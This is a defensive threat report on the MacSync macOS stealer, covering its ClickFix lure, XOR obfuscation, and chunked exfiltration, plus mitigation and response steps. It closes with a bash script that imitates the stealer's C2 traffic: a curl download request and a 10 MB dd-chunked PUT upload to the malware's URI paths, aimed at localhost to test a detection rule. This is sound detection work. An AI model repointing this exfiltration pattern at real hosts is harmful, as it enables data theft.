MacSync macOS Stealer Uses ClickFix Lures to Evade Detectio

Summary

MacSync Stealer is a macOS-focused malware-as-a-service (MaaS) that relies on ClickFix-style social engineering to trick users into executing malicious Terminal commands. The malware follows a modular, multi-stage execution chain involving Mach-O binaries, in-memory AppleScript execution, and chunked data exfiltration. To evade detection, it uses XOR obfuscation, process daemonization, and rapid removal of forensic artifacts.

Investigation

The investigation included reverse engineering a 64-bit Mach-O stager to map its execution flow and evasion techniques. Researchers identified a C++ template class that uses single-byte XOR encryption with the key 0xAA to conceal functional strings and C2 endpoints. Analysis also uncovered an advanced exfiltration mechanism that uses the dd utility to divide stolen data into 10 MB chunks before HTTP PUT transfers.

Mitigation

Users should be trained to avoid copying and pasting Terminal commands prompted by browser errors, fake verification pages, or ClickFix pop-ups. Organizations should closely monitor Terminal activity and unauthorized execution of osascript. Restricting unnotarized binaries and monitoring suspicious file creation or execution within /tmp can further reduce exposure.

Response

If MacSync activity is detected, the affected macOS endpoint should be isolated immediately to stop further data exfiltration. Responders should perform forensic analysis of the /tmp directory and inspect ~/Library/LaunchAgents/ for malicious persistence plists. System logs should also be reviewed for unauthorized osascript execution and network traffic checked for connections to known C2 domains.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The attacker aims to mimic the MacSync stealer’s communication lifecycle. First, the attacker simulates a “Clickfix” lure where a victim’s machine is instructed to download a payload via a specific URI: /dynamic?txd=. Once the “malware” is running, it performs exfiltration by sending stolen data chunks back to the C2 server using a PUT request to the URI /gate?buildtxd=. This simulates the exact pattern the detection rule is looking for.

• Regression Test Script: This script uses curl to generate the specific HTTP requests that match the Sigma rule’s URI selection criteria.

  #!/bin/bash
  # MacSync Stealer URI Simulation Script
  # This script simulates the GET and PUT requests used by MacSync
  
  TARGET_URL="http://localhost"
  
  echo "[+] Simulating Payload Download (GET /dynamic?txd=)..."
  curl -X GET "$TARGET_URL/dynamic?txd=malicious_payload_123" -s -o /dev/null
  
  echo "[+] Simulating Data Exfiltration (PUT /gate?buildtxd=)..."
  # Simulating a 10MB chunked upload as mentioned in the rule description
  dd if=/dev/urandom of=chunk.bin bs=1M count=10 2>/dev/null
  curl -X PUT "$TARGET_URL/gate?buildtxd=exfil_data_456" 
       --data-binary @chunk.bin 
       -s -o /dev/null
  
  echo "[+] Simulation Complete."

• Cleanup Commands:

  # Remove the dummy data chunk created during simulation
  rm -f chunk.bin